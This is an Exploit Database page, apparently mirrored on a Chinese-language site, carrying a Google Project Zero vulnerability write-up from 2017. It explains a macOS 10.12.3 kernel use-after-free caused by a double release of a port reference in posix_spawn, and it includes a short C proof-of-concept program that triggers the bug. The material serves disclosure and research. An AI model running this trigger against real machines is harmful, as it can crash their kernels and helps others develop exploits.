Apple macOS Kernel 10.12.3 (16D32) – Use-After-Free Due to Double-Release in posix_spawn

• Exploit Database
• 15 阅读

• 作者： Google Security Research
  日期： 2017-04-04
• 类别：

  • dos
  平台：

  • macos
• 来源：https://www.exploit-db.com/exploits/41791/

• /*
  Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1104
  
  exec_handle_port_actions is responsible for handling the xnu port actions extension to posix_spawn.
  
  It supports 4 different types of port (PSPA_SPECIAL, PSPA_EXCEPTION, PSPA_AU_SESSION and PSPA_IMP_WATCHPORTS)
  
  For the special, exception and audit ports it tries to update the new task to reflect the port action
  by calling either task_set_special_port, task_set_exception_ports or audit_session_spawnjoin and if
  any of those calls fail it calls ipc_port_release_send(port).
  
  task_set_special_port and task_set_exception_ports don't drop a reference on the port if they fail
  but audit_session_spawnjoin (which calls to audit_session_join_internal) *does* drop a reference on
  the port on failure. It's easy to make audit_session_spawnjoin fail by specifying a port which isn't
  an audit session port.
  
  This means we can cause two references to be dropped on the port when only one is held leading to a
  use after free in the kernel.
  
  Tested on MacOS 10.12.3 (16D32) on MacBookAir5,2
  */
  
  // ianbeer
  #if 0
  MacOS/iOS kernel uaf due to double-release in posix_spawn
  
  exec_handle_port_actions is responsible for handling the xnu port actions extension to posix_spawn.
  
  It supports 4 different types of port (PSPA_SPECIAL, PSPA_EXCEPTION, PSPA_AU_SESSION and PSPA_IMP_WATCHPORTS)
  
  For the special, exception and audit ports it tries to update the new task to reflect the port action
  by calling either task_set_special_port, task_set_exception_ports or audit_session_spawnjoin and if
  any of those calls fail it calls ipc_port_release_send(port).
  
  task_set_special_port and task_set_exception_ports don't drop a reference on the port if they fail
  but audit_session_spawnjoin (which calls to audit_session_join_internal) *does* drop a reference on
  the port on failure. It's easy to make audit_session_spawnjoin fail by specifying a port which isn't
  an audit session port.
  
  This means we can cause two references to be dropped on the port when only one is held leading to a
  use after free in the kernel.
  
  Tested on MacOS 10.12.3 (16D32) on MacBookAir5,2
  #endif
  
  #include <stdio.h>
  #include <stdlib.h>
  #include <spawn.h>
  
  #include <mach/mach.h>
  
  int main() {
  
  mach_port_t p = MACH_PORT_NULL;
  mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
  mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND);
  
  posix_spawnattr_t attrs;
  posix_spawnattr_init(&attrs);
  posix_spawnattr_setauditsessionport_np(&attrs,p);
  
  char* _argv[] = {"/usr/bin/id", NULL};
  int child_pid = 0;
  int spawn_err = posix_spawn(&child_pid,
  "/usr/bin/id",
  NULL, // file actions
  &attrs,
  _argv,
  NULL);
  }